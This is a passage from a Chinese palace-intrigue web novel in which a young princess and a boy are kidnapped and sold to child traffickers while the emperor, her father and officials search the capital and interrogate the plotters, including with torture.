“哼!”唐蕊气呼呼的别过头去,脑子里却在快速思考对策。 敌我差距太明显了,赤赤不在身边,她的包包也被对方拿走。 根本反抗不了。 唯一的好消息就是,她赌对了,对方不想杀她。 不想杀就代表她还有活着的价值! 那就只能拖了,拖到救兵来。 想通了的唐蕊彻底放肆起来,指着顾楠聿道:“卖就卖呗,本郡主人见人爱,花见花开,卖到哪里都有人喜欢!但你们得把他放了,不然本郡主就死给你们看。” 大汉冷笑道:“来人,把她嘴给老子堵上,老子看她怎么自尽。” “等等!”唐蕊小手一抬,很识时务的跟对方讲道理,声音瞬间低了好几个分贝:“你们难道还要时时刻刻防着本郡主自尽吗?还是说你们防得住一个想死的人?累不累哦?不如你听本郡主的,本郡主也乖乖配合你,怎么样?” 为首的大汉迟疑了。 手底下一个尖嘴猴腮的男人凑过来道:“大哥,她说得也对,咱们只是求财,她要是真的死了,我们也很麻烦。” “好!”大汉采取了男人的建议,恶狠狠的瞪着唐蕊,又指了指顾楠聿:“你别耍花招,不然老子就杀了他!” 无辜的顾楠聿:“…” 唐蕊怒道:“本郡主是让你们放了他!” “放了他,你要是不听话怎么办?”大汉冷冷一笑,早就看出唐蕊有点在乎顾楠聿了。 为了保证路上唐蕊听话配合,他不打算放人了。 唐蕊噎了一下,还想争辩,顾楠聿却淡声道:“昭华,不必说了,就算他们放过我,我也不会走的。” 唐蕊:“…”那你留下来能干嘛啊? “好小子,年纪轻轻就知道怎么讨姑娘欢心了,希望你一会儿也能这么想!” 大汉不再多言,给小弟们使了个眼色。 小弟们摸出帕子往顾楠聿和唐蕊嘴上一捂,两人便昏了过去。 当然,顾楠聿是真晕,唐蕊却是装的。 她百毒不侵,还不怕这点迷药。 唐蕊都郁闷死了,顾楠聿这犟驴,真不知道跟着凑什么热闹。 现在好了,她想跑都没机会了。 … 京城! 司徒安骑着快马,终于看到了城门! 守城的将士也看到了他,纷纷亮出武器挡住入口。 司徒安拿出自己的令牌:“都给本皇子滚开!” “十一皇子!”将士们纷纷拿开武器,单膝跪下。 司徒安冲进城门,快马加鞭朝璃王府冲去。 他到时,正好遇到刚回来的司徒澈。 司徒澈皱了皱眉,还没来得及开口询问,司徒安就着急道:“七皇兄,昭华被贼人掳走了。” 第123章 全城戒严,挨家挨户给朕搜 司徒澈脸色一变:“何时,何地?” 司徒安语速极快道:“我们今天去庄子上,回来的时候,路过石桥,遇到一群刺客。明月拦住了那些刺客,让我们先走。我们本以为脱险了,谁知距离城门五里之处,又出现了一群大汉。顾楠聿抱着昭华逃了,现在我也不知道他们怎么样。七皇兄,你去救他们吧!” 司徒澈沉下脸来:“清风!” 清风拱手:“是,属下这就让人去找。” “不!”司徒澈翻身上马,摸出一块令牌扔给他,说出来的话都带着一丝咬牙切齿的味道:“本王先去追,你去军营调动所有黑鳞骑,敢动本王的女儿,本王定要贼人后悔来到这个世上!” 清风闻言脸色骤变:“可是王爷…” “还不快去!”司徒澈已经听不进去了,驾着马扬长而去。 “王爷,王爷…”清风也赶紧翻身上马,临走时朝司徒安拱了拱手:“十一皇子,劳烦您回宫把这些事告诉皇上,王爷私自调军,只是救女心切。” 司徒安:“我知道,你快去吧,不光是父皇,我还会告诉五皇兄,让顺天府也去查,看看是谁如此大胆,敢刺杀昭华!” “多谢!” 虽然黑鳞骑都听命司徒澈,但调兵遣将不是小事,得告知皇帝,皇帝允许才行。 清风现在只希望,司徒澈先斩后奏的,皇帝不要怪罪才好。 司徒安回宫后,把这事跟皇帝一说,皇帝震怒:“大胆!” 司徒安赶紧开口:“父皇,这也不怪七皇兄,他也是想救昭华。” “朕说的是贼人大胆。”皇帝瞪了他一眼,心道,自己怎么会怪宝贝儿子,千错万错都是贼人的错:“陈德福,让龙隐卫全部出动,再去告诉老五,给他三日,务必把幕后之人给朕找出来,不然他就不用管顺天府了。” “是!”陈德福这些年,还没见皇帝这么动怒过,迟疑片刻还是小心翼翼问道:“可是皇上,您觉得谁会干这事啊?只有三天时间,也没点线索,这…睿王殿下也不好查呀!” 皇帝黑着脸道:“还用朕教他吗?跟昭华关系不好的,全都给朕查,一个都不准放过,把朕的尚方宝剑也带去给他,朕特许他先斩后奏,务必把幕后之人给朕逮出来!另外,全城戒严,挨家挨户给朕搜,不准放过一丝可疑之处!” “是,是,老奴这就去!”陈德福擦了擦头上的冷汗,赶紧去办了。 … 因为皇帝的命令,整个京城人人自危。 羽林军挨家挨户寻找,不敢放过一丝可疑之处。 睿王也是一个头两个大,第一时间画了唐蕊的画像贴在告示栏,让人守在那里,不停重复:“提供线索者,十两银子,找出贼人者,五十两银子,找到昭华郡主,赏一百两银子。” 有钱能使鬼推磨,他只希望有一点点线索。 然而,已经得到消息的王府女人们也坐不住了。 秦芷嫣急得不行,也让自己院里的丫鬟们去找。 顾若雪则是第一时间把视线放在了东宫。 要说跟唐蕊有仇的,司徒嫱首当其冲。 她立刻找来霜蓉,让她带信给睿王,去东宫找司徒嫱。 “还有个人!”张庶妃跟她想到一堆去了,但还多想了一个人:“刘姬,刘姬一直都没抓到,她还有过前科,嫌疑很大。” “没错!”顾若雪又赶紧叮嘱霜蓉:“去告诉睿王!” 霜蓉点点头,赶紧去了。 李庶妃也跟秦芷嫣一样坐不住,特意画了唐蕊的画像,亲自来到了告示栏处。 只是她来的时候,睿王早已让人在这贴了画像了。 围观的百姓很多,却没一个能提供线索的。 李庶妃暗骂一声,当即下了马车,来到告示栏出,看着所有百姓大声道:“提供消息者,只要消息可靠,一百两。有贼人消息,一千两,找到昭华郡主,一万两,我乃璃王府李庶妃,所有赏钱都由本庶妃发放。” 十两五十两,百姓们已经很心动了。 可现在又涨了十多倍,百姓们双眼放光,都坐不住了。 “李庶妃言重了,璃王乃我们大夏战神,绑他的女儿就是跟我们作对,小的一定知无不言言无不尽!” “对,钱不钱的不重要,重要的是谁都不能绑战神的女儿!” “我知道消息…” “我也看到了可疑的人…” … 一时间,所有百姓七嘴八舌。 甭管有没有用,先把自己觉得可疑的人说出来,万一说中了,泼天富贵不就轮到他们了吗? 李庶妃赶紧让福宝开始记录百姓们提供的信息,可提供消息的人太多了,最后连顺天府的人都被李庶妃征用了。 就在这时,有个断臂男挤到了前面:“姑娘,我有确切消息,是贵府的刘姬,是她让人绑走了昭华郡主。” “什么?”福宝神色一惊,赶紧把他带到了李庶妃面前:“庶妃,这个人说是刘姬带走了郡主。” “刘姬?”李庶妃打量着面前的独臂男,危险的眯起眼眸:“你怎么知道是刘姬?还有,刘姬早被顺天府通缉了,你既然知道她的下落,为何一早不说?” 这独臂男,不是别人,正是以前刘姬委托他绑架唐蕊的络腮胡子二狗。 他虽然断了一臂,但唐蕊并没有怪罪他,放了他一马不说,还给了他很多银子医治老母亲。 这份恩情,二狗一直记在心里的。 现在唐蕊有难,他想都没想,立刻站了出来,把这些事全都告诉了李庶妃,又才说道:“小的也是前几天偶然遇到了一个乞丐,觉得她很面熟,所以就跟踪了几日,后来才发现,她就是当初委托小人绑架郡主的刘氏。小的本想去报官的,可又发现,那刘氏突然之间有了很多银子,穿得也光鲜亮丽了,还租了一个四合小院。小的觉得事有蹊跷,所以继续暗中监视着,没有第一时间去报官。” “然后小的就发现,那刘氏在夜里鬼鬼祟祟,经常去皇宫北门转悠,现在昭华郡主遭遇了不测,所以小的怀疑,这事跟刘氏脱不了关系。” 第124章 不是你做的,你就要咬死不认 李庶妃当即起身:“你所言当真?” 二狗言辞凿凿:“小的不敢欺瞒贵人,也想报答郡主恩情,发誓自己所言绝对没有一句假话,不然就天打雷劈,不得好死。” “好!”李庶妃当即把顺天府的人叫了过来,让他带着这人去见睿王。 睿王此时正跟无头苍蝇似的一筹莫展呢,这不,二狗就被人带来了。 根据二狗所说,他当即带着人去了皇宫北门仔细搜查。 后来发现,北门处有一处宫墙破了个小洞。 深挖之下才得知,平时有些太监宫女就是利用这个洞,把宫中之物拿出去变卖。 好家伙,还没找到唐蕊的消息,居然挖出了别的消息。 睿王禀告皇帝之后,当即把这些宫人全都控制起来,一一审问。 最后一个宫女微微颤颤指出,这些日子,东宫一个洒扫宫女也会经常来小洞附近晃悠。 睿王得到消息,当即带人来到东宫。 可是已经晚了。 洒扫宫女淹死在莲花池里,尸体都泡得发白了。 唯一的线索断了,睿王脸色发沉。 偏偏这个时候司徒嫱还在一边跟太子上眼药:“父王,东宫是什么地方,睿王叔二话不说带着人冲进来,明显没把你放在眼里。” 本就气急败坏的睿王瞬间炸毛了,也顾不得她是自己的晚辈,指着她就开骂:“爷当然没把你爹放在眼里,爷把他放在心里的,不行吗?爷带着父皇的尚方宝剑,哪里去不得?你踏马不服,你去父皇面前告爷啊?看看你这死样子,跟乡下那些长舌妇有什么区别?还想做郡主,我呸,你踏马也不撒泡尿自己照照,配不配!” 司徒嫱都被他噼里啪啦一顿喷给骂懵了,回过神后哇的一声哭了出来。 太子气得磨牙:“五皇弟,你过分了。” 睿王现在正是火大的时候,谁都面子都不想给:“我过分?我有你的好闺女过分?这事明眼人一看就知道怎么回事,她灭了个小宫女的口又有什么用?父皇讨厌一个人,还需要证据吗?小小年纪心肠歹毒,你还是滴血验亲吧,咱们司徒家可没这么恶毒的种。” 太子浑身颤抖,指着睿王说不出话来。 司徒嫱抽泣着往他身后躲,脸色惨白如纸。 殿内众人屏息凝神,连呼吸都轻了几分。 睿王怒道:“司徒嫱,就算没有证据,你的好日子也到头了,父皇圣明,自会判断,你要么现在就告诉本王,到底把昭华掳去了哪儿,不然你就等着死吧!” 司徒嫱才不会承认呢,再说了,一直以来都是那洒扫宫女跟刘氏对接的,洒扫宫女死了,她哪儿知道唐蕊被掳去了哪儿啊:“睿王叔,你怎么能冤枉我,这事真跟我没关系。” 就在这时,有人来到睿王耳边小声道:“睿王,那个叫二狗的带我们找到了刘姬,我们已经把人抓住了。” 睿王点点头,看向司徒嫱:“行!你继续嘴硬,老子现在就去告诉父皇,去告诉老七,让他的黑鳞骑来跟你讲道理!” 睿王拂袖而去。 司徒嫱脸色惨白一片,无助的抓着太子的衣袖:“父王,这事真不是我做的,你要相信我!” 太子神色复杂的看着她,意有所指道:“不是你做的,你就要咬死不认,不然谁都救不了你!” 司徒嫱怔在原地,六神无主:“可是睿王叔说,黑鳞骑…” “就算黑鳞骑来了,你也不能认,不然你就去死吧!”太子冷冷甩开她的手,背影没入重重宫帷。 他要去找皇后,事到如今,也只有皇后能救这个女儿了。 殿外寒风卷雪,天色阴沉如墨,仿佛预示着一场风暴即将降临。 司徒嫱瘫坐在地,指尖冰凉,嘴里却不停喃喃:“黑鳞骑…怎么会,这里可是皇宫,璃王胆子再大,也没这么大吧…” … “王爷,这边追出去五里地,没有发现郡主行踪。” “王爷,这边追出去七里地,没发现郡主行踪!” “王爷…” 乌压压的黑鳞骑全数出动,兵分几路,不时派人回来传信。 明月垂眸站在一边,脸上满是自责。 赤赤无精打采的挂在他脖子上,就像是一条死蛇。 都怪这个傻大个,要不是因为他,它才不会离开小主人。 现在好了,小主人不见了,它也感觉生活无望了。 司徒澈骑在马背上,停留在唐蕊被掳走的地点,手里拿着一份地图,紧皱的眉头一直都没松过。 这个点太适合逃走了,四面八方离开的路就有七八条,其中还有两条水路。 想起司徒安说的前后两批刺客,这明显是一起有预谋的绑架。 听着耳边不时传来的声音,司徒澈越来越焦躁。 哪怕当年被敌军包围,他都从没有过这样的情绪。 可现在,他完全控制不住自己。 唐蕊再聪明,只是一个五岁的孩子,一点都没有自保之力。 她会遭遇些什么? 只要一想到这个,司徒澈心里就生出一股暴戾的情绪,恨不得把贼人千刀万剐。 清风拍了拍明月的肩膀:“别自责,你也不知道会这样。” 明月巴巴的瞅着他:“我难受。” 清风叹了口气,目光落在远处翻涌的乌云上:“谁不难受?可眼下不是自责的时候。” 明月都快哭了:“郡主是个女孩子,她以后嫁不出去,王爷会不会让我娶她啊?” 清风噎了一下,一巴掌拍他脑门上:“美得你!” 明月可怜兮兮对手指:“你以前说过,女孩子都有清白,被拐跑的女孩子没人要,我害得郡主没人要,难道不该负责?可是郡主好恐怖,我不想娶她!” 清风无语了:“你还是闭嘴吧!” “哦!”明月应了一声,继续郁闷去了。 脑子里想的却是,要是唐蕊回来,他啥时候娶,怎么娶的问题了。 … 吱呀吱呀… 马车轮子发出的声音惊醒了顾楠聿。 迷迷糊糊睁开眼,他发现自己身处一个狭小的车厢里。 这里面不光有他和还在昏迷的唐蕊,还有很多小孩子。 第125章 忽悠 这些孩子小到两三岁,大到七八岁,男女都有。 每个孩子浑身脏兮兮的,一丁点声音都不敢发出。 顾楠聿揉了揉发胀的脑袋,挪到唐蕊身边,拍了拍她的脸。 唐蕊根本就没昏,眼睛睁开一条缝睨着他,声音压得很低:“睡饱了?” 顾楠聿皱眉:“你没昏?” 唐蕊没好气的白了他一眼:“本郡主百毒不侵,还惧这点迷药?” 顾楠聿:“那你怎么不逃?” “一开始是想逃的,可我这小短腿也逃不掉啊!再说了,你被迷晕了么?我也搬不动你啊,后来…”唐蕊扫了一眼车里的小孩子:“后来那些大汉把我们卖给了一个叫三哥的男人,这个男人是个人贩子,你瞧,车里这些小孩子都是被拐来的,我怎么能扔下这些孩子哦?” 顾楠聿脸色一黑:“胡闹,你现在自身难保,哪里救得了他们!” 唐蕊皱眉道:“只要我在这里,父王总不会放弃找我,也一定会找到我,这些孩子也会因为我,有一丝生机,若我逃了,他们就真的没救了。” 这么个时代,穷人家的孩子丢了就丢了,做父母的最多哭一哭完事,哪里还找得回来? 她不一样,她是郡主。 孩子丢了和郡主丢了,这性质就大大的不同了。 顾楠聿眼底划过一丝复杂之色:“你…你是郡主,他们加起来,都不如你尊贵,你没必要为他们涉险。” “那是你的想法,不是我的想法!”前世她刷过那么多视频,知道人贩子多可恶,被拐的孩子有多可怜。 圣母吗? 也许吧! 可她真的没办法做到置之不理。 她在这里,这些孩子可能还有救。 若是她跑了,这些孩子就真的完了。 她实在不忍心! 有些事,明知不该管,明知应该要自私一点。 可心里那道坎过不去。 她也是长在红旗下的孩子,从小也学礼义廉耻,道德伦常,知对错,明是非! 面对这一双双胆怯的眼睛,无辜的生命,她怎么能坐视不理? “你…我跟你说不通!”顾楠聿气呼呼的扭过头去,心里却越来越抑制不住翻滚的情绪。 小时候他也被拐过,遭受了非人的待遇。 不管过了多久,他永远都不会忘记那些黑暗的日子。 那个时候,他的身边却没有一个天真的唐蕊舍身陪君子。 所以此刻,他怪她不知者无畏,又敬她无畏。 “别生气啦,我沿途也偷偷摘了很多药,有些药跟食物是相克的,我有信心保护你,父王也会找来的,咱们凡事要往好的地方想!“唐蕊还以为他害怕,软下小奶音来安慰他。 顾楠聿心情顿时更复杂了。 以前他觉得自己不讨厌唐蕊,只是因为唐蕊不讨厌。 可越是接触,越是发现唐蕊真的跟普通孩子不一样。 直到现在,他心里竟然出现一丝自己都不想承认的震撼与嫉妒。 他在嫉妒这车厢里的小孩子们,能得唐蕊默默守护。 经历过黑暗的人,最是贪念阳光。 以前对于赐婚他还不是很感冒,可现在…顾楠聿突然觉得,肮脏的自己配不上这么好的唐蕊了。 他别过脸,不敢看她清澈的眼睛,故意岔开话题:“我昏睡几天了?” “两天了,你饿不饿?刚刚有个小姐姐给了一个窝窝头,我留了半个给你哦!”唐蕊说着,宝贝似的摸出半个发黑的窝窝头递给他:“别嫌弃哦,条件有限,你先填饱肚子再说。” “谢谢!”顾楠聿接过窝窝头,又掰了一半递给她:“我吃这些就够了,你吃吧!” 他记得唐蕊食量很惊人来着! 唐蕊咽了口唾沫,却将掰开的窝窝头轻轻推回他手里:“我不饿,你快吃吧。” “…”不饿才怪! 顾楠聿没有再推迟,把那点窝窝头塞怀里,只吃了一点果腹。 期间,有几个年纪稍大的男孩,如狼似虎的目光落在他身上。 顾楠聿也不惯着,恶狠狠的瞪了回去。 他有经验,在这种地方,弱肉强食,示弱只会招来更多危险。 果然,那几个孩子见他这么凶,缩了缩脖子,尴尬的收回了目光。 车厢突然打开,唐蕊立刻闭上眼睛,继续装昏迷。 顾楠聿却慢了一步! 来人一脸凶相,正是三哥。 见顾楠聿醒了,顿时乐了:“哟,大少爷醒了,来人,再给大少爷灌点药,可不能让他坏事儿。” 当即有两个大汉冲了进来,捏住顾楠聿的嘴,把一包药粉全数灌进他嘴里。 顾楠聿暗骂一声,从来没有一刻暗恨自己为何不学武。 他要是会武,就能保护唐蕊,保护自己了。 而不是像现在这样,任人宰割! 药性迅速蔓延,顾楠聿只觉四肢麻木,脑袋昏昏沉沉,很快又晕了过去。 两个大汉正要离开时,突然有个小男孩指着唐蕊喊道:“她是装晕的,她醒着呢!” 什么? 大汉顿时看了过来。 唐蕊也不装了,睁开眼淡淡的瞥了一眼那个孩子,这才看向三哥。 三哥愣住了:“你装晕?” 唐蕊才不承认呢:“没啊,我也是刚醒!” “给她也灌一包!”三哥一声令下,两个大汉就要上前。 唐蕊这时却慢条斯理道:“你应该知道我是谁吧?” 三哥抬了抬手,止住了两个大汉,危险的眯起眼眸看着唐蕊:“老子当然知道,但老子不怕。” 唐蕊突然有了个绝妙的主意,整个人也放松下来:“既然你知道我是谁,就应该把我卖去北狄,北狄人那么恨我爹,我这个做女儿的,肯定也很值钱吧?” 三哥闻言愣住了! 两个大汉也突然觉得,唐蕊说得好有道理哦。 北狄皇室,皇室啊! 只要把唐蕊卖过去,这还不得万两银子起步? 三哥眼中闪过一丝贪婪,随即冷笑道:“小丫头,老子正愁该把你卖给谁呢,你倒提醒我了。” 唐蕊也笑了,慢条斯理道:“当然,得活着的我,我要是死了,可就不值钱了。” 三哥摸着下巴,狐疑的看着她:“你会乖乖被卖?” “我当然会啊,我也是要命的不是?”唐蕊说到这,随即话音一转,指了指车厢里的小孩子们:“但有一个条件,你要把他们都放了。” 三哥冷笑一声:“放了他们?小丫头,你知道他们值多少银子吗?” 第126章 本王有父无母 “有我值钱吗?” 唐蕊反问一句,又鄙夷道:“你能不能有点出息?把我卖给北狄皇室,要多少钱没有?还会在意这点小钱?如果你不放了他们,那我就只有自尽了。哦对了,千万别想着用你那劣质迷药,姑奶奶我百毒不侵,没用!” 三哥眯起眼睛,盯着唐蕊许久,忽然哈哈大笑:“有意思!好,我答应你,放了这些小的。” “别放在这,去县城附近再放他们离开。”一群小孩子在荒郊野外,太危险了。 “行!”三哥倒也爽快,一一答应下来。 车厢门重新关上,孩子们看着唐蕊的目光充满了感激。 刚刚那个告密的小男孩羞愧的垂下头去:“小妹妹,对不起。” 唐蕊不接受,没有搭理他,而是对这些孩子说道:“一会儿到了城里,就去找官府,官府里的人会送你们回家的。” 孩子们纷纷点头,眼中闪着泪光。 “小妹妹,你是哪家的?等我回家了,会让我爹娘好好感谢你的。” “我也是,小妹妹,你是哪家的呀?” “小妹妹…” 孩子们七嘴八舌,车厢里一时间热闹起来。 … “王爷,睿王抓到了刘姬,正在顺天府审问!”属下来报。 司徒澈当即调转马头,让清风和明月守在这里继续等消息。 顺天府中,司徒澈赶来时,睿王正在审问刘姬,就连顾楠聿的父亲顾衡章也在这里。 他的儿子也被拐走了,他也很着急啊! 这不,一听说睿王抓住了可疑的人,他官服都没脱,立刻赶来了。 “璃王…”顾衡章看到司徒澈,都快哭了:“还请救救犬子啊!” 他的儿子咋这么命苦啊! 小时候被拐了一次了,现在又被拐。 司徒澈扶起他,扫了刘姬一眼。 一段时间不见,她苍老了很多,被五花大绑着,看到司徒澈却双眼放光:“王爷,王爷救救妾身,妾身真的没有让人掳走小郡主啊!” 睿王无奈道:“到底是你府中的女人,我也不敢用刑。” “没什么不能用的!”司徒澈看向刘姬,眼神就像是在看一个死人:“五皇兄,听说你这顺天府的老师傅手艺很好啊,凌迟三千刀下去,这人都不会死呢!” 睿王懂了,立刻让人去把专门凌迟的师傅找来。 刘姬一听他这话脸色骤变,眼底盛满了惊恐之色:“王爷,你怎么就不相信妾身呢?妾身真的没有做过啊!” 司徒澈多看她一眼都嫌恶心:“刘氏,本王最后问一遍,昭华在哪儿!” “妾身不知道,妾身不知道啊呜呜呜…”刘姬摇着头流着泪,只希望这个男人能怜惜她一分。 可她也不想想,她干的是什么事儿。 “那你就受着吧!”司徒澈懒得再问了,明明心里很着急,脸上却半丝不显。 很快,老师傅提着自己的工具箱来了。 睿王也让人把刘姬锁住,固定在木架上。 老师傅拿着刀逼近,刘姬吓得当场尿了裤子。 就在这时,一道声音传来:“且慢!” 司徒澈抬眸看去,脸色阴沉。 来人不是别人,正是皇后身边的贴身宫婢素锦。 呵…也是,刘姬以前是皇后身边的宫婢。 怎么? 这是觉得自己的亲孙女,还没一个宫婢重要,来保人了? 刘姬眼底迸发出生机,不停挣扎起来:“素锦姐姐,救救我啊,我真没有让人绑架昭华郡主。” 素锦淡淡的瞥了她一眼,又看向璃王:“王爷,皇后懿旨,要刘姬入宫服侍。” 睿王怂了,扯了扯司徒澈:“七皇弟,怎么办?” 司徒澈冷冷一笑:“天子犯法与庶民同罪,刘姬绑架郡主,罪不可赦,用刑!” 素锦脸色微变:“璃王,这可是皇后懿旨。” “哦?”司徒澈对皇后早就冷了心,站起身来,一步一步走到素锦面前,居高临下的看着她,一字一句道:“本王抗旨,你待如何?” “你…”素锦气急败坏道:“你就不怕皇后娘娘…” “本王有什么可怕的?”璃王哼笑一声,打断她的话:“本王也想知道,母后是不是要因为本王抗旨,亲手杀了本王呢!” 司徒澈说罢,看向师傅:“还不动手?” “是!”老师傅擦了擦汗,拿起刀,当即割下刘姬手臂处一块肉。 刘姬再次发出一声凄厉的惨叫,就跟杀猪似的。 素锦又气又怕:“璃王,你当真不顾母子之情了吗?” 司徒澈笑了笑,一副没所叼谓的样子:“本王有父无母,姑姑还是走吧,本王现在火气很大,说不准一会儿凌迟完刘姬不解气,还要连累姑姑跟着一起遭罪!” “好,好,奴婢会将王爷的话如实告诉皇后娘娘!”素锦没救到人,拂袖离开。 刘姬绝望了,眼看老师傅还要动手,她什么都顾不得了,赶紧开口:“王爷,王爷,妾身说,妾身只是让刘老二带走了郡主,可妾身也不知道刘老二把郡主卖去哪里了啊!” 司徒澈不紧不慢道:“刘老二是谁,现在何处?” “刘老二是妾身远房堂弟,家住城南盐水胡同巷子,门口挂着已经褪色的红灯笼,就是他家了。”只割了一块肉,刘姬就已经冷汗直冒,想要晕过去了。 好疼! 太疼了! 她是真没想到,司徒澈能下得去手,为了昭华那个小贱人甚至连皇后懿旨都敢违抗! “五皇兄,让你这师傅继续用刑吧,三千刀没完,这人可不能死了。” 司徒澈扔下这话,转身大步离开。 “王爷,等等下官啊!”顾衡章赶紧追了上去。 刘姬闻言满脸不可置信,眼睛瞪得老大。 直到手上又传来剧痛,她才惨叫出声:“不要,不要,我已经说了啊,为什么还要这样对我?” “绑架郡主,你以为你还能活着?”睿王对这女人也恨得牙痒痒的:“继续用刑,没听到璃王说的话吗?三千刀没完,这女人要是死了,本王唯你是问。” 老师傅擦了擦额头冷汗,点头应是,继续操刀了。 第127章 朕只是帮她一把 刘姬受了疼,什么都顾不得了,几乎是睿王问什么她说什么。 就连跟她勾结的司徒嫱,都被抖了出来。 好家伙,果然有司徒嫱那个恶毒小屁孩! 睿王让老师傅继续用刑,自己却带着人再次闯入东宫,把司徒嫱五花大绑! 东宫的下人想要阻拦,睿王也一一无视,扯着司徒嫱就要去见皇帝。 “老五,敢在东宫放肆,你大胆!”太子此时赶到,还带来了皇后。 睿王:“…”紧赶慢赶,还是慢了一步。 面对皇后,睿王也不敢放肆,恭敬行礼:“母后万安!” “睿王三番五次带人强闯东宫,眼里还有本宫这个母后吗?”皇后居高临下的看了他一眼,又看向委屈巴巴的司徒嫱,眉头微蹙:“还不快给嫱姐松绑!” “不可!”睿王赶紧开口,见皇后看了过来,又垂眸道:“母后,儿臣抓到刘姬,她已经招了,昭华被掳,司徒嫱乃主谋,父皇把此案交给儿臣,儿臣只能带走司徒嫱,依法处置。” 皇后柳眉一竖,威仪铺天盖地:“笑话,就凭一个贱妾的污蔑,就要捉拿太子长女,天下哪有这样的道理?” 司徒嫱此时也哭着开口:“皇奶奶,我根本就没做过,我是被冤枉的,皇奶奶救我呜呜呜~” 睿王皱眉道:“母后,不光是刘姬的证词,死去的洒扫宫女也是司徒嫱院中的丫头,众所周知,司徒嫱平时又与昭华不和…” “本宫不想听你说这些有的没的。”皇后有心要保司徒嫱,直接打断他的话:“本宫要看的是证据,你有切实的证据吗?至于嫱姐与昭华不和,小孩子之间打打闹闹,这多正常?嫱姐一贯孝顺懂事,她怎么会因为对昭华不满,就做下此等恶事?” 睿王:“…”刘姬都指认了,你还要什么证据? 护犊子也不是你这么护的吧? 皇后见他不说话,冷冷一笑,胜券在握:“只要本宫在一天,就不会看你胡作非为。” “是吗?”皇帝冰冷的声音传来。 皇后脸色微变,回眸看去。 皇帝缓步从殿外走入,玄色龙袍曳地无声,眸光如寒潭深水:“皇后好大的威仪,不知道的,还以为司徒家的江山改姓姜了。” “皇上,臣妾并无此意!”皇后赶紧跪下,背脊却挺得笔直:“是睿王次数强闯东宫,还想捉拿嫱姐,嫱姐虽无封号,也是太子长女,岂能遭受此辱?” 皇帝负手而立,目光如刃扫过众人,最后落在皇后身上:“太子长女不容轻辱,那昭华便不是朕的亲孙女?不是你的亲孙女?她被人掳走数日,如今还生死未卜,朕怎不见皇后为昭华忧心半分?” 皇后噎了一下,很快又道:“皇上怎知臣妾不忧心昭华?臣妾日夜寝食难安…” “对,你寝食难安,你满面红光,你是巴不得昭华死在外面吧?”皇帝怒斥一声打断她的话。 满屋主子也好,奴才也好,瞬间跪了一地,大气都不敢出。 “皇上,嫱姐是臣妾的亲孙女,若皇上真要听信一个贱妾的指认,冤枉嫱姐,臣妾愿以死明志!”皇后一点都不怕,直视着皇帝如此说道。 她有信心,皇帝舍不得她死。 每当她这么说,皇帝总要退让的。 但… 皇帝却轻蔑一笑,大刀阔斧往主位上一坐:“陈德福,没听到皇后说的话吗?赐皇后三尺白绫,毒酒一杯,匕首一把,朕今日便成全了她!” 众人皆惊! 皇后也瞪大眼睛不可置信的看着皇帝,怀疑自己听错了:“皇上,您…要赐死臣妾?” “不是你自己想死吗?朕与你夫妻多年,怎能不如你意?”皇帝瞪着陈德福:“还不快去?” “这…”陈德福…不敢啊! 太子急了,真的急了:“父皇,母后是您的妻子,掌管后宫多年并无过错,你怎能赐死她啊!” 皇后脸色惨白,不敢相信自己听到的,再次质问:“皇上,您当真如此狠心?” 皇帝冷眼俯视,指尖敲击龙椅扶手,一声重过一声:“你们母子俩是听不懂人话?是皇后自己要死,朕只是帮她一把,怎么现在又变成朕要她死了?” 太子看了看皇后,又赶紧开口:“父皇,母后说的只是气话,您不能跟她一般见识啊!” “哦?”皇帝讥讽的看着皇后:“皇后,你自己说说,你是说的气话吗?” “臣妾…臣妾…”多年来的招数不管用了,皇后又气又怕,藏在长袖下的手指都在微微发抖。 再看皇帝,眼底满是认真,好像只要她说个不是,就真要帮她一把似的。 皇后真的有点吓到了,内心挣扎良久后,终于低下了高贵的头:“臣妾…是说的气话…” 皇帝冷笑道:“哦,那以后就注意一些,一国之母,别老学那些蛮不讲理的妇人一哭二闹三上吊的,成何体统。” “臣妾…谨遵皇上教诲…”皇后闭了闭眼,感觉自己的脸面被皇帝亲手撕了下来,一脚踩在地上。 解决完皇后,皇帝这才看向睿王:“还愣着做什么?该抓谁就抓谁,朕给你尚方宝剑,你拿着当摆设呢?” “儿臣遵旨!”睿王扫了一下手底下的人。 他们秒懂,立刻摁住了司徒嫱。 司徒嫱感觉天都塌了,不停挣扎起来:“皇爷爷,孙女没有做过,孙女是被冤枉的啊,皇爷爷…呜呜呜…皇爷爷,为什么你不相信孙女?皇爷爷…” “你做没做过,自己心里清楚!”皇帝最后看了她一眼,眼底只余失望。 司徒嫱的哭喊声在大殿内回荡,却再也唤不回昔日宠爱。 铁链加身的那一刻,她才终于开始害怕。 可现在说什么都晚了! 司徒嫱离开后,皇帝也起身往外走去。 路过皇后身边时,他突然停了下来:“皇后身体不适,就多休息,以后后宫事宜,就交给高贵妃吧!” 皇后腿一软瘫坐在地,回眸看去时,只见皇帝背影决绝,丝毫没有留恋之意。 第128章 绑了唐蕊的贼人是有多想不开啊 皇后突然低低的笑出声来,用力推开来搀扶她的太子,并甩了他一个大逼兜子。 太子都被打懵了,捂着自己的脸不可置信的看着她。 皇后站起身来,颤抖的指着他,把所有憋屈与怒火全都发泄在这个最爱的儿子身上:“都怪你,自己不争气,养的女儿也不争气!没用,你们都是没用的东西!” 太子还没见过皇后如此…疯癫的样子,赶紧跪下,顾不得脸上火辣辣的疼:“母后息怒,千错万错都是儿臣的错,您可要爱惜自个儿的身子啊!” “你…”皇后刚说一个字,就没忍住落下泪来:“本宫真是搞不懂,明明都是从本宫肚子里出来的,为什么?为什么?” 太子大气不敢喘,只能低头不语。 … 司徒澈动作很快,当即按着地址抓住了刘老二。 刘老二比刘姬还怂,司徒澈只是亮了剑,就吓得什么都招了。 因此,司徒澈终于得到了三哥的消息。 只是他也没想到,这三哥是个惯犯,还有自己的窝点,还在距离京城不远的一个村庄。 听说那里都是被拐来的孩子。 他更没想到的是,三哥已经听取唐蕊的意见,准备把唐蕊卖到北狄去了。 于是,等司徒澈带着黑鳞骑踏破那个罪恶的村庄的时候,救出了一群孩子,就是没有唐蕊的踪影。 顾衡章全程跟着他,只要看到跟顾楠聿差不多大的孩子都会上前去确认。 不是,都不是… 找了一圈下来,顾衡章都快崩溃了:“王爷,犬子与郡主不在此处啊!” “你别急,活要见人死要见尸,本王会继续找!”司徒澈也快崩溃了,如今只是勉强保持镇定。 只因为这个村庄里的孩子一个比一个惨,男孩大多缺胳膊断腿,穿得破破烂烂,听村里人说,他们的手脚是故意被砍掉的,就是让他们出去装可怜乞讨。 至于那些女孩儿,更惨! 村庄里有一个地下室,里面关着一群衣不蔽体的女孩。 